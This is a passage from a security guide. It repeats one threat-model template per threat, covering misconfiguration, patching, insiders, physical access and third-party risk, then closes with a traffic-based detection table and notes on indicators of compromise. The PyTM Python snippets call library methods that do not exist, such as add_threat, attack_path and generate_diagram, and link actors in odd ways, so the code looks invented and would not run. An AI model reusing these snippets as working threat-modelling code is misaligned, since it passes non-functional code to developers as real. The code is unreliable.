Dataflow(administrator, attacker, "Data Flow") # Define Misconfigured Security Settings threat tm.add_threat() tm.threat.name("Misconfigured Security Settings") tm.threat.description("Threat arising from misconfigured security settings, leading to vulnerabilities and potential unauthorized access") # Define attack paths tm.attack_path(administrator, dataflow, "Misconfiguration Attack") # Generate the threat model diagram tm.generate_diagram("misconfigured_security_settings_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Misconfigured Security Settings: Concepts: - Misconfigured Security Settings: Configuration settings that do not adhere to recommended security practices, leaving systems or components vulnerable to attacks or unauthorized access. - Security Configuration: The settings and configurations applied to systems, applications, or network components to enforce security controls and protect against threats. - Attack Surface: The collection of entry points or vulnerabilities that can be exploited by attackers to gain unauthorized access or compromise a system. - Attack Path: The path or sequence of steps an attacker can take to exploit misconfigured security settings and compromise the system. Users: 1. System Administrators: - Threat: Inadequate Configuration - Responsible for configuring and managing security settings of systems, applications, or network components. - May inadvertently misconfigure security settings, leaving vulnerabilities or weak points open to exploitation. 2. Attackers: - Threat: Unauthorized Access or Exploitation - Attempt to exploit misconfigured security settings to gain unauthorized access, escalate privileges, or compromise the system. - Exploit weaknesses in security configurations to bypass controls and launch attacks. Components: 1. System or Application: - Represents the system or application with security settings that need to be configured correctly. - Contains various security-related configurations that affect the overall security posture. 2. Security Configuration Settings: - Specific settings or configurations applied to systems, applications, or network components to enforce security controls. - Include settings related to authentication, access controls, encryption, logging, auditing, and other security measures. Interactions: 1. System Administrators: - Responsible for configuring and managing security settings. - May misconfigure security settings, leaving vulnerabilities or weak points open to exploitation by attackers. 2. Attackers: - Attempt to exploit misconfigured security settings to gain unauthorized access or compromise the system. - Exploit weaknesses in security configurations to bypass controls and launch attacks. 3. System or Application: - Contains security configurations that need to be correctly applied and managed. - Vulnerable to attacks and unauthorized access if security settings are misconfigured. 4. Attack Surface: - Represents the collection of entry points or vulnerabilities that attackers can exploit. - Misconfigured security settings may increase the attack surface and provide opportunities for exploitation. 5. Attack Path: - Represents the sequence of steps an attacker can take to exploit misconfigured security settings. - Follows the path of least resistance to compromise the system or gain unauthorized access. ``` ### Insecure default configurations #### **PyTM** This code creates a threat model using PyTM and represents the "Insecure Default Configurations" threat scenario. It includes actors such as "Administrator" and "Attacker" and defines a dataflow between them. The threat model defines the "Insecure Default Configurations" threat and describes the threat arising from insecure default configurations, leading to vulnerabilities and potential unauthorized access. The code generates a threat model diagram in PNG format, named "insecure_default_configurations_threat_model.png." ``` from pytm import TM, Actor, Dataflow # Create a new threat model tm = TM("Insecure Default Configurations Threat Model") # Create actors administrator = Actor("Administrator") attacker = Actor("Attacker") # Define dataflows dataflow = Dataflow(administrator, attacker, "Data Flow") # Define Insecure Default Configurations threat tm.add_threat() tm.threat.name("Insecure Default Configurations") tm.threat.description("Threat arising from insecure default configurations, leading to vulnerabilities and potential unauthorized access") # Define attack paths tm.attack_path(administrator, dataflow, "Insecure Default Configurations Attack") # Generate the threat model diagram tm.generate_diagram("insecure_default_configurations_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Insecure Default Configurations: Concepts: - Insecure Default Configurations: System or application configurations that are insecure or weak by default, often set during installation or initialization. - Attack Surface: The collection of entry points or vulnerabilities that can be exploited by attackers to gain unauthorized access or compromise a system. - Attack Path: The path or sequence of steps an attacker can take to exploit insecure default configurations and compromise the system. Users: 1. System Administrators: - Threat: Inadequate Configuration - Responsible for setting up and configuring systems or applications. - May unintentionally leave insecure default configurations in place, providing potential vulnerabilities to attackers. 2. Attackers: - Threat: Unauthorized Access or Exploitation - Attempt to exploit insecure default configurations to gain unauthorized access, escalate privileges, or compromise the system. - Exploit weaknesses in default configurations to bypass security controls and launch attacks. Components: 1. System or Application: - Represents the system or application with default configurations that need to be changed. - Contains various settings and configurations that impact security. 2. Default Configuration Settings: - The initial settings or configurations that are in place when a system or application is installed or initialized. - These configurations may not provide adequate security and need to be modified to reduce vulnerabilities. Interactions: 1. System Administrators: - Responsible for setting up and configuring systems or applications. - May overlook or neglect changing insecure default configurations, leaving potential vulnerabilities for attackers. 2. Attackers: - Attempt to exploit insecure default configurations to gain unauthorized access or compromise the system. - Exploit weaknesses in default configurations to bypass security controls and launch attacks. 3. System or Application: - Contains default configurations that need to be changed to reduce vulnerabilities. - Vulnerable to attacks and unauthorized access if insecure default configurations are not addressed. 4. Attack Surface: - Represents the collection of entry points or vulnerabilities that attackers can exploit. - Insecure default configurations may increase the attack surface and provide opportunities for exploitation. 5. Attack Path: - Represents the sequence of steps an attacker can take to exploit insecure default configurations. - Follows the path of least resistance to compromise the system or gain unauthorized access. ``` ### Delayed patching of software #### **PyTM** This code creates a threat model using PyTM and represents the "Delayed Patching of Software" threat scenario. It includes actors such as "Administrator" and "Attacker" and defines a dataflow between them. The threat model defines the "Delayed Patching of Software" threat and describes the threat arising from delayed or inadequate software patching, leaving systems vulnerable to known exploits. The code generates a threat model diagram in PNG format, named "delayed_patching_threat_model.png." ``` from pytm import TM, Actor, Dataflow # Create a new threat model tm = TM("Delayed Patching of Software Threat Model") # Create actors administrator = Actor("Administrator") attacker = Actor("Attacker") # Define dataflows dataflow = Dataflow(administrator, attacker, "Data Flow") # Define Delayed Patching of Software threat tm.add_threat() tm.threat.name("Delayed Patching of Software") tm.threat.description("Threat arising from delayed or inadequate software patching, leaving systems vulnerable to known exploits") # Define attack paths tm.attack_path(administrator, dataflow, "Delayed Patching of Software Attack") # Generate the threat model diagram tm.generate_diagram("delayed_patching_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Delayed Patching of Software: Concepts: - Delayed Patching of Software: The practice of not applying patches and updates promptly to software or systems, leaving them vulnerable to known security vulnerabilities. - Attack Surface: The collection of entry points or vulnerabilities that can be exploited by attackers to gain unauthorized access or compromise a system. - Attack Path: The path or sequence of steps an attacker can take to exploit the delayed patching of software and compromise the system. Users: 1. System Administrators: - Threat: Inadequate Patch Management - Responsible for managing and applying patches and updates to software or systems. - May delay or neglect applying patches promptly, leaving vulnerabilities open for exploitation. 2. Attackers: - Threat: Exploitation of Known Vulnerabilities - Attempt to exploit known vulnerabilities in software or systems that have not been patched promptly. - Exploit weaknesses in unpatched software to gain unauthorized access, escalate privileges, or compromise the system. Components: 1. Software or System: - Represents the software or system that requires regular patching and updates. - Contains known vulnerabilities that can be addressed through patching. 2. Patch Management Process: - The process of managing and applying patches and updates to software or systems. - Includes tasks such as patch assessment, testing, deployment, and monitoring. Interactions: 1. System Administrators: - Responsible for managing and applying patches and updates to software or systems. - May delay or neglect applying patches promptly due to operational constraints or other reasons. 2. Attackers: - Attempt to exploit known vulnerabilities in unpatched software or systems. - Exploit weaknesses in software that has not been updated to gain unauthorized access or compromise the system. 3. Software or System: - Requires regular patching and updates to address known vulnerabilities. - Vulnerable to attacks and unauthorized access if patches are not applied promptly. 4. Attack Surface: - Represents the collection of entry points or vulnerabilities that attackers can exploit. - Delayed patching of software may increase the attack surface and provide opportunities for exploitation. 5. Attack Path: - Represents the sequence of steps an attacker can take to exploit delayed patching of software. - Follows the path of least resistance to compromise the system or gain unauthorized access. Note: This simplified textual representation provides a high-level view of the components, data flows, and interactions related to the "Delayed Patching of Software" threat. In a comprehensive threat model, additional specific components and interactions relevant to the system being analyzed would be included. ``` ### Lack of vulnerability scanning #### **PyTM** This code creates a threat model using PyTM and represents the "Lack of Vulnerability Scanning" threat scenario. It includes actors such as "Administrator" and "Attacker" and defines a dataflow between them. The threat model defines the "Lack of Vulnerability Scanning" threat and describes the threat arising from the lack of regular vulnerability scanning, which can result in undetected vulnerabilities and potential exploitation. The code generates a threat model diagram in PNG format, named "lack_of_vulnerability_scanning_threat_model.png." ``` from pytm import TM, Actor, Dataflow # Create a new threat model tm = TM("Lack of Vulnerability Scanning Threat Model") # Create actors administrator = Actor("Administrator") attacker = Actor("Attacker") # Define dataflows dataflow = Dataflow(administrator, attacker, "Data Flow") # Define Lack of Vulnerability Scanning threat tm.add_threat() tm.threat.name("Lack of Vulnerability Scanning") tm.threat.description("Threat arising from the lack of regular vulnerability scanning, which can result in undetected vulnerabilities and potential exploitation") # Define attack paths tm.attack_path(administrator, dataflow, "Lack of Vulnerability Scanning Attack") # Generate the threat model diagram tm.generate_diagram("lack_of_vulnerability_scanning_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Lack of Vulnerability Scanning: Concepts: - Lack of Vulnerability Scanning: Failure to regularly scan systems or applications for known vulnerabilities and weaknesses. - Vulnerability Assessment: The process of identifying and assessing vulnerabilities within systems or applications. - Attack Surface: The collection of entry points or vulnerabilities that can be exploited by attackers to gain unauthorized access or compromise a system. - Attack Path: The path or sequence of steps an attacker can take to exploit existing vulnerabilities and compromise the system. Users: 1. System Administrators: - Responsible for managing and maintaining systems or applications. - May neglect or overlook the importance of regular vulnerability scanning. 2. Attackers: - Threat: Exploitation of Unpatched Vulnerabilities - Attempt to identify and exploit unpatched vulnerabilities in systems or applications. - Exploit weaknesses that have not been detected due to the lack of vulnerability scanning. Components: 1. System or Application: - Represents the system or application that requires regular vulnerability scanning. - Contains potential vulnerabilities that need to be identified and mitigated. 2. Vulnerability Scanning Tool: - A tool or software used to scan systems or applications for known vulnerabilities. - Detects and reports on potential weaknesses that could be exploited by attackers. Interactions: 1. System Administrators: - Responsible for managing and maintaining systems or applications. - May fail to prioritize or schedule regular vulnerability scanning, leaving systems exposed to unpatched vulnerabilities. 2. Attackers: - Attempt to identify and exploit unpatched vulnerabilities in systems or applications. - Exploit weaknesses that have not been detected due to the lack of vulnerability scanning. 3. System or Application: - Requires regular vulnerability scanning to identify and mitigate potential vulnerabilities. - Vulnerable to attacks and unauthorized access if unpatched vulnerabilities are not detected and addressed. 4. Attack Surface: - Represents the collection of entry points or vulnerabilities that attackers can exploit. - Lack of vulnerability scanning may increase the attack surface and provide opportunities for exploitation. 5. Attack Path: - Represents the sequence of steps an attacker can take to exploit unpatched vulnerabilities. - Follows the path of least resistance to compromise the system or gain unauthorized access. ``` ### Malicious or negligent insiders #### **PyTM** This code creates a threat model using PyTM and represents the "Malicious or Negligent Insiders" threat scenario. It includes actors such as "Insider" and "Attacker" and defines a dataflow between them. The threat model defines the "Malicious or Negligent Insiders" threat and describes the threat arising from insiders with malicious intent or negligent behavior who may abuse their privileges, steal sensitive data, or cause damage to the system. The code generates a threat model diagram in PNG format, named "malicious_or_negligent_insiders_threat_model.png." ``` from pytm import TM, Actor, Dataflow # Create a new threat model tm = TM("Malicious or Negligent Insiders Threat Model") # Create actors insider = Actor("Insider") attacker = Actor("Attacker") # Define dataflows dataflow = Dataflow(insider, attacker, "Data Flow") # Define Malicious or Negligent Insiders threat tm.add_threat() tm.threat.name("Malicious or Negligent Insiders") tm.threat.description("Threat arising from insiders with malicious intent or negligent behavior who may abuse their privileges, steal sensitive data, or cause damage to the system") # Define attack paths tm.attack_path(insider, dataflow, "Malicious or Negligent Insiders Attack") # Generate the threat model diagram tm.generate_diagram("malicious_or_negligent_insiders_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Malicious or Negligent Insiders: Concepts: - Insiders: Individuals who have authorized access to a system or application. - Malicious Insider: An insider who intentionally abuses their privileges or acts with malicious intent. - Negligent Insider: An insider who unintentionally causes harm or breaches security due to carelessness. - Access Controls: Mechanisms used to enforce authorized access to resources. - Data Loss or Leakage: Unauthorized disclosure or loss of sensitive data. Users: 1. Malicious Insider: - Threat: Unauthorized Access or Data Theft - Exploits their authorized access to gain unauthorized access, steal data, or cause damage to the system. 2. Negligent Insider: - Threat: Accidental Data Breach - Unintentionally exposes sensitive data or breaches security due to carelessness or lack of awareness. Components: 1. Authentication System: - Manages user authentication and access controls. - Data Flow: User authentication requests. 2. Data Storage: - Stores sensitive data. - Data Flow: Reading or modifying sensitive data. 3. Logging System: - Captures logs and auditing information. - Data Flow: Storing logs of user activities. Interactions: 1. Malicious Insider: - Exploits weak authentication controls or stolen credentials to gain unauthorized access to the system. - Performs unauthorized data access or theft by bypassing access controls or abusing privileges. 2. Negligent Insider: - Accidentally exposes sensitive data by misconfiguring access controls or mishandling data. - May unknowingly download or transmit sensitive data to external sources. 3. Authentication System: - Authenticates user credentials and enforces access controls. - Logs authentication activities and detects suspicious login patterns. 4. Data Storage: - Stores sensitive data and enforces access controls. - Logs data access and modification activities. 5. Logging System: - Captures logs of user activities, including authentication attempts and data access events. - Supports monitoring and analysis to identify suspicious or unauthorized activities. ``` ### Unauthorized data access or theft #### **PyTM** This code creates a threat model using PyTM and represents the "Unauthorized Data Access or Theft" threat scenario. It includes actors such as "Attacker" and "User" and defines a dataflow between the user and a sensitive datastore. The threat model defines the "Unauthorized Data Access or Theft" threat and describes the threat of unauthorized access or theft of sensitive data by attackers. The code generates a threat model diagram in PNG format, named "unauthorized_data_access_theft_threat_model.png." ``` from pytm import TM, Actor, Datastore, Boundary, Dataflow # Create a new threat model tm = TM("Unauthorized Data Access or Theft Threat Model") # Create actors attacker = Actor("Attacker") user = Actor("User") # Create a boundary boundary = Boundary("Internal Network") # Create a datastore datastore = Datastore("Sensitive Data") # Define dataflows dataflow = Dataflow(user, datastore, "Data Access") # Define Unauthorized Data Access or Theft threat tm.add_threat() tm.threat.name("Unauthorized Data Access or Theft") tm.threat.description("Threat of unauthorized access or theft of sensitive data by attackers") # Define attack paths tm.attack_path(attacker, dataflow, "Unauthorized Data Access or Theft Attack") # Generate the threat model diagram tm.generate_diagram("unauthorized_data_access_theft_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Unauthorized Data Access or Theft: Concepts: - Unauthorized Data Access or Theft: The unauthorized access, theft, or disclosure of sensitive or confidential data. - Data Classification: The process of categorizing data based on its sensitivity or criticality. - Access Controls: Mechanisms and policies in place to regulate access to data and protect it from unauthorized access. - Attack Surface: The collection of entry points or vulnerabilities that can be exploited by attackers to gain unauthorized access or compromise a system. - Attack Path: The path or sequence of steps an attacker can take to exploit vulnerabilities and gain unauthorized access to data. Users: 1. System Administrators: - Responsible for managing access controls and permissions to sensitive data. - May misconfigure or overlook security settings, leading to unauthorized access or theft. 2. Attackers: - Threat: Unauthorized Data Access or Theft - Attempt to gain unauthorized access to sensitive data or steal it for malicious purposes. - Exploit vulnerabilities in access controls or other weaknesses to bypass security measures. Components: 1. Sensitive Data: - Represents the data that needs to be protected from unauthorized access or theft. - Includes personally identifiable information (PII), financial data, intellectual property, or other confidential data. 2. Access Control Mechanisms: - The mechanisms and policies in place to control access to sensitive data. - Examples include user authentication, role-based access control (RBAC), and encryption. Interactions: 1. System Administrators: - Responsible for managing access controls and permissions to sensitive data. - May misconfigure or overlook security settings, leading to unauthorized access or theft. 2. Attackers: - Attempt to gain unauthorized access to sensitive data or steal it for malicious purposes. - Exploit vulnerabilities in access controls or other weaknesses to bypass security measures. 3. Sensitive Data: - Requires appropriate access controls to prevent unauthorized access or theft. - Vulnerable to unauthorized access or theft if access controls are not properly implemented or misconfigured. 4. Attack Surface: - Represents the collection of entry points or vulnerabilities that attackers can exploit. - Weak or misconfigured access controls may increase the attack surface and provide opportunities for unauthorized access. 5. Attack Path: - Represents the sequence of steps an attacker can take to exploit vulnerabilities and gain unauthorized access to sensitive data. - Follows the path of least resistance to compromise the system and steal data. ``` ### Unauthorized physical access #### **PyTM** This code creates a threat model using PyTM and represents the "Unauthorized Physical Access" threat scenario. It includes actors such as "Attacker," "Physical Attacker," and "User" and defines a dataflow between the user and a sensitive equipment datastore. The threat model defines the "Unauthorized Physical Access" threat and describes the threat of unauthorized physical access to sensitive equipment by attackers. The code generates a threat model diagram in PNG format, named "unauthorized_physical_access_threat_model.png." ``` from pytm import TM, Actor, Datastore, Boundary, Dataflow # Create a new threat model tm = TM("Unauthorized Physical Access Threat Model") # Create actors attacker = Actor("Attacker") physical_attacker = Actor("Physical Attacker") user = Actor("User") # Create a boundary boundary = Boundary("Physical Location") # Create a datastore datastore = Datastore("Sensitive Equipment") # Define dataflows dataflow = Dataflow(user, datastore, "Data Access") # Define Unauthorized Physical Access threat tm.add_threat() tm.threat.name("Unauthorized Physical Access") tm.threat.description("Threat of unauthorized physical access to sensitive equipment by attackers") # Define attack paths tm.attack_path(physical_attacker, dataflow, "Unauthorized Physical Access Attack") # Generate the threat model diagram tm.generate_diagram("unauthorized_physical_access_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Unauthorized Physical Access: Concepts: - Unauthorized Physical Access: The unauthorized entry or presence of individuals in physical areas where they should not be. - Physical Security: Measures and controls implemented to protect physical assets, such as buildings, rooms, and equipment. - Access Control: Mechanisms and policies in place to regulate entry and restrict access to physical areas. - Attack Surface: Vulnerabilities and entry points that can be exploited by unauthorized individuals to gain physical access. - Attack Path: The sequence of steps an attacker can take to bypass physical security measures and gain unauthorized access. Users: 1. Facility Administrators: - Responsible for managing physical security measures and access control systems. - May misconfigure or overlook security settings, leading to unauthorized physical access. 2. Unauthorized Individuals: - Threat: Unauthorized Physical Access - Attempt to gain physical access to restricted areas without proper authorization. - Exploit vulnerabilities in physical security measures or find ways to bypass them. Components: 1. Physical Areas: - Represents the different areas within a facility or premises, such as server rooms, data centers, or restricted zones. - Each area has a designated level of access restriction and contains valuable assets or sensitive information. 2. Access Control Mechanisms: - The mechanisms and controls in place to regulate entry and restrict access to physical areas. - Examples include access cards, biometric systems, locks, alarms, and surveillance cameras. Interactions: 1. Facility Administrators: - Responsible for managing physical security measures and access control systems. - May misconfigure or overlook security settings, leading to unauthorized physical access. 2. Unauthorized Individuals: - Attempt to gain physical access to restricted areas without proper authorization. - Exploit vulnerabilities in physical security measures or find ways to bypass them. 3. Physical Areas: - Require proper access control mechanisms to prevent unauthorized physical access. - Vulnerable to unauthorized access if physical security measures are not properly implemented or misconfigured. 4. Attack Surface: - Represents the vulnerabilities and entry points that unauthorized individuals can exploit. - Weak or misconfigured physical security measures may increase the attack surface and provide opportunities for unauthorized physical access. 5. Attack Path: - Represents the sequence of steps an attacker can take to bypass physical security measures and gain unauthorized access. - Follows the path of least resistance to compromise the physical security of the facility or premises. ``` ### Theft or destruction of hardware #### **PyTM** This code creates a threat model using PyTM and represents the "Theft or Destruction of Hardware" threat scenario. It includes actors such as "Attacker," "Physical Attacker," and "User" and defines a dataflow between the user and a hardware datastore. The threat model defines the "Theft or Destruction of Hardware" threat and describes the threat of theft or destruction of hardware by attackers. The code generates a threat model diagram in PNG format, named "theft_destruction_hardware_threat_model.png." ``` from pytm import TM, Actor, Datastore, Boundary, Dataflow # Create a new threat model tm = TM("Theft or Destruction of Hardware Threat Model") # Create actors attacker = Actor("Attacker") physical_attacker = Actor("Physical Attacker") user = Actor("User") # Create a boundary boundary = Boundary("Physical Location") # Create a datastore datastore = Datastore("Hardware") # Define dataflows dataflow = Dataflow(user, datastore, "Data Access") # Define Theft or Destruction of Hardware threat tm.add_threat() tm.threat.name("Theft or Destruction of Hardware") tm.threat.description("Threat of theft or destruction of hardware by attackers") # Define attack paths tm.attack_path(physical_attacker, dataflow, "Theft or Destruction of Hardware Attack") # Generate the threat model diagram tm.generate_diagram("theft_destruction_hardware_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Theft or Destruction of Hardware: Concepts: - Theft or Destruction of Hardware: The unauthorized removal or damage of physical hardware devices. - Physical Security: Measures and controls implemented to protect physical assets, such as hardware devices. - Asset Inventory: A record of all hardware devices, their locations, and ownership. - Attack Surface: Vulnerabilities and entry points that can be exploited by unauthorized individuals to steal or damage hardware. - Attack Path: The sequence of steps an attacker can take to bypass physical security measures and steal or destroy hardware. Users: 1. Facility Administrators: - Responsible for managing physical security measures and maintaining the asset inventory. - May misconfigure or overlook security settings, leading to vulnerabilities in hardware protection. 2. Unauthorized Individuals: - Threat: Theft or Destruction of Hardware - Attempt to steal or damage hardware devices for personal gain, sabotage, or other malicious purposes. - Exploit vulnerabilities in physical security measures or find ways to bypass them. Components: 1. Hardware Devices: - Represents the physical devices, such as servers, workstations, laptops, or other valuable equipment. - Each device has its unique identification, location, and ownership information recorded in the asset inventory. 2. Physical Security Measures: - The measures and controls in place to protect hardware devices from theft or destruction. - Examples include locks, alarms, surveillance cameras, access control mechanisms, and secure storage areas. 3. Asset Inventory: - A record or database that tracks all hardware devices, their locations, and ownership information. - Helps identify missing or compromised hardware and aids in recovery or replacement processes. Interactions: 1. Facility Administrators: - Responsible for managing physical security measures and maintaining the asset inventory. - May misconfigure or overlook security settings, leading to vulnerabilities in hardware protection. 2. Unauthorized Individuals: - Attempt to steal or damage hardware devices for personal gain, sabotage, or other malicious purposes. - Exploit vulnerabilities in physical security measures or find ways to bypass them. 3. Hardware Devices: - Require proper physical security measures to prevent unauthorized access, theft, or destruction. - Vulnerable to theft or destruction if physical security measures are not properly implemented or misconfigured. 4. Asset Inventory: - Maintained by facility administrators to track hardware devices and ownership information. - Helps in identifying missing or compromised hardware and aids in recovery or replacement processes. 5. Attack Surface: - Represents the vulnerabilities and entry points that unauthorized individuals can exploit. - Weak or misconfigured physical security measures may increase the attack surface and provide opportunities for theft or destruction of hardware. 6. Attack Path: - Represents the sequence of steps an attacker can take to bypass physical security measures and steal or destroy hardware. - Follows the path of least resistance to compromise the physical security of the hardware devices. ``` ### Vulnerabilities in third-party components #### **PyTM** This code creates a threat model using PyTM and represents the "Vulnerabilities in Third-Party Components" threat scenario. It includes actors such as "Attacker" and "User" and defines a dataflow between the user and a sensitive data datastore. The threat model defines the "Vulnerabilities in Third-Party Components" threat and describes the threat of vulnerabilities in third-party components used in the system. The code generates a threat model diagram in PNG format, named "third_party_component_vulnerabilities_threat_model.png." ``` from pytm import TM, Actor, Datastore, Dataflow, Boundary # Create a new threat model tm = TM("Vulnerabilities in Third-Party Components Threat Model") # Create actors attacker = Actor("Attacker") user = Actor("User") # Create a boundary boundary = Boundary("System Boundary") # Create a datastore datastore = Datastore("Sensitive Data") # Define dataflows dataflow = Dataflow(user, datastore, "Data Access") # Define Vulnerabilities in Third-Party Components threat tm.add_threat() tm.threat.name("Vulnerabilities in Third-Party Components") tm.threat.description("Threat of vulnerabilities in third-party components used in the system") # Define attack paths tm.attack_path(attacker, dataflow, "Exploitation of Third-Party Component Vulnerabilities") # Generate the threat model diagram tm.generate_diagram("third_party_component_vulnerabilities_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Vulnerabilities in Third-Party Components: Concepts: - Vulnerabilities in Third-Party Components: Weaknesses or flaws present in software or hardware components developed by external third-party vendors. - Third-Party Components: Software or hardware modules, libraries, frameworks, or services developed by external vendors and integrated into the system. - Software Development Lifecycle (SDLC): The process of developing, testing, and deploying software. - Vulnerability Management: The process of identifying, assessing, mitigating, and monitoring vulnerabilities in software components. - Patch Management: The process of applying security patches and updates to third-party components. Users: 1. System Developers: - Responsible for integrating and using third-party components in the system. - May unknowingly introduce vulnerabilities by not properly assessing the security of the components or by not implementing them correctly. 2. Third-Party Component Vendors: - Develop and maintain the third-party components used in the system. - May have vulnerabilities in their components due to coding errors, design flaws, or outdated dependencies. Components: 1. Third-Party Components: - Represents the software or hardware modules, libraries, frameworks, or services developed by external vendors and integrated into the system. - Can introduce vulnerabilities if not properly assessed, implemented, or kept up to date with security patches. 2. System Components: - Represents the internal components of the system, including the custom-developed software and other infrastructure elements. 3. Software Development Lifecycle (SDLC): - The process followed by system developers to develop, test, and deploy the system. - Involves activities such as requirements gathering, design, coding, testing, and deployment. Interactions: 1. System Developers: - Responsible for integrating and using third-party components in the system. - Should assess the security of the third-party components before integration and ensure they are properly implemented. 2. Third-Party Component Vendors: - Develop and maintain the third-party components used in the system. - Should follow secure coding practices, conduct regular security assessments, and provide security patches and updates for their components. 3. Third-Party Components: - Integrated into the system by system developers. - Can introduce vulnerabilities if not properly assessed or implemented. 4. Software Development Lifecycle (SDLC): - Provides a framework for system developers to follow during the development process. - Should include security measures and assessments to identify and address vulnerabilities in third-party components. 5. Vulnerability Management: - Involves identifying, assessing, mitigating, and monitoring vulnerabilities in software components. - Should be part of the overall system development and maintenance processes. 6. Patch Management: - Involves applying security patches and updates to third-party components to address known vulnerabilities. - Should be performed regularly to keep the system protected against known vulnerabilities. ``` ### Lack of oversight on third-party activities #### **PyTM** This code creates a threat model using PyTM and represents the "Lack of Oversight on Third-Party Activities" threat scenario. It includes actors such as "Attacker," "User," and "Third-Party" and defines dataflows between the user, third-party process, and a sensitive data datastore. The threat model defines the "Lack of Oversight on Third-Party Activities" threat and describes the threat of insufficient oversight on third-party activities in the system. The code generates a threat model diagram in PNG format, named "lack_of_oversight_third_party_activities_threat_model.png." ``` from pytm import TM, Actor, Process, Datastore, Dataflow, Boundary # Create a new threat model tm = TM("Lack of Oversight on Third-Party Activities Threat Model") # Create actors attacker = Actor("Attacker") user = Actor("User") third_party = Actor("Third-Party") # Create a boundary boundary = Boundary("System Boundary") # Create a process process = Process("Third-Party Process") # Create a datastore datastore = Datastore("Sensitive Data") # Define dataflows dataflow1 = Dataflow(user, process, "Data Sharing") dataflow2 = Dataflow(process, datastore, "Data Storage") # Define Lack of Oversight on Third-Party Activities threat tm.add_threat() tm.threat.name("Lack of Oversight on Third-Party Activities") tm.threat.description("Threat of lack of oversight on third-party activities in the system") # Define attack paths tm.attack_path(attacker, dataflow1, "Unauthorized Data Sharing") tm.attack_path(attacker, dataflow2, "Unauthorized Data Storage") # Generate the threat model diagram tm.generate_diagram("lack_of_oversight_third_party_activities_threat_model.png") ``` #### **Microsoft Threat Model** ``` Threat Model Diagram for Lack of Oversight on Third-Party Activities: Concepts: - Lack of Oversight: Insufficient monitoring, supervision, or control over the activities performed by third-party vendors. - Third-Party Activities: Activities carried out by external vendors, such as software development, data processing, or system maintenance. - Trust Boundaries: Points where the system interacts with external entities, including third-party vendors. - Data Privacy: Protection of sensitive data from unauthorized access, use, or disclosure. - Regulatory Compliance: Adherence to relevant laws, regulations, and industry standards. Users: 1. System Owners: - Responsible for overseeing the system's operations, security, and compliance. - May delegate certain tasks or responsibilities to third-party vendors. 2. Third-Party Vendors: - External entities engaged to perform specific activities or provide services related to the system. - May have access to system components, data, or infrastructure. Components: 1. System Components: - Represents the internal components of the system, including software, hardware, and network infrastructure. 2. Third-Party Activities: - Activities performed by external vendors on behalf of the system owner. - Examples include software development, data processing, system maintenance, or cloud hosting. Data Flows: 1. System Owner to Third-Party Vendors: - Involves communication, coordination, and delegation of tasks or responsibilities to third-party vendors. - May include sharing system documentation, access privileges, or specific project requirements. 2. Third-Party Vendors to System Components: - Involves the execution of activities by third-party vendors on the system components. - May include development, maintenance, or hosting of system components. 3. System Components to Third-Party Vendors: - Involves the exchange of data, credentials, or system components between the system and third-party vendors. - May include data processing, data storage, or system integration. Interactions: 1. System Owners: - Responsible for overseeing the system's operations, security, and compliance. - Should establish clear expectations, requirements, and agreements with third-party vendors regarding oversight and monitoring. 2. Third-Party Vendors: - Engaged to perform specific activities or provide services related to the system. - Should adhere to the agreed-upon oversight and monitoring requirements and provide necessary information or reports as requested. 3. Trust Boundaries: - Points where the system interacts with external entities, including third-party vendors. - Should be identified and defined to clearly delineate the responsibilities and access privileges of third-party vendors. 4. Data Privacy: - Focuses on protecting sensitive data from unauthorized access, use, or disclosure. - System owners should ensure that third-party vendors handle sensitive data in compliance with data privacy regulations and industry standards. 5. Regulatory Compliance: - Involves adhering to relevant laws, regulations, and industry standards. - System owners should ensure that third-party vendors comply with applicable regulations and standards in their activities. ``` ## Threat detection | Abnormal network traffic | Potential threats | |:---------------|:---------------------| | `Port/host scan` | The port or host scan behaviors mean one of the hosts may have been infected by a malware program, and the malware program is looking for vulnerabilities, other services, or hosts on the network. | | `A high number of outbound DNS requests from the same host` | This is a symptom of Command and Control (C&C) malware, establishing communication between the infected host and the C&C server using the DNS protocol. | | `A high number of outbound HTTP requests from the same host` | This is a symptom of C&C, establishing communication between the infected host and the C&C server using the HTTP protocol. | | `Periodical outbound traffic with samesized requests or during the same period of time every day ` | This is a symptom of C&C malware, establishing communication between the infected host and the C&C server. | | `Outbound traffic to an external web or DNS listed as a known threat by threat intelligence feeds` | The user may be tricked through social engineering to connect to an external known threat web or the C&C connection is successfully established. | To visualize the network threat status, there are two recommended open source tools: Malcom and Maltrail (Malicious Traffic detection system). Malcom can present a host communication relationship diagram. It helps us to understand whether there are any internal hosts connected to an external suspicious C&C server or known bad sites https://github.com/tomchop/malcom#what-is-malcom ## Indicators of compromises An analysis of hosts for suspicious behaviors also poses a significant challenge due to the availability of logs. For example, dynamic runtime information may not be logged in files and the original process used to drop a suspicious file may not be recorded. Therefore, it is always recommended to install a host IDS/IPS such as OSSEC (Open Source HIDS SEcurity) or host antivirus software as the first line of defense against malware. Once the host IDS/IPS or antivirus software is in place, threat intelligence and big data analysis are supplementary, helping us to understand the overall host's security posture and any known Indicators of Compromises (IoCs) in existing host environments. Based on the level of severity, the following are key behaviors that may indicate a compromised host: ### External source client IP The source of IP address analysis can help to identify the following: A known bad IP or TOR exit node Abnormal geolocation changes Concurrent connections from different geolocations The MaxMind GeoIP2 database can be used to translate the IP address to a geolocation: https://dev.maxmind.com/geoip/geoip2/geolite2/#Downloads ### Client fingerprint (OS, browser, user agent, devices, and so on) The client fingerprint can be used to identify whether there are any unusual client or non-browser connections. The open source ClientJS is a pure JavaScript that can be used to collect client fingerprint information. The JA3 provided by Salesforce uses SSL/TLS connection profiling to identify malicious clients. ClientJS: https://clientjs.org/ JA3: https://github.com/salesforce/ja3 ### Web site reputation When there is an outbound connection to an external website, we may check the threat reputation of that target website. This can be done by means of the web application firewall, or web gateway security solutions https://www.virustotal.com/ ### Random Domain Name by Domain Generation Algorithms (DGAs) The domain name of the C&C server can be generated by DGAs. The key characteristics of the DGA domain are high entropy, high consonant count, and long length of a domain name. Based on these indicators, we may 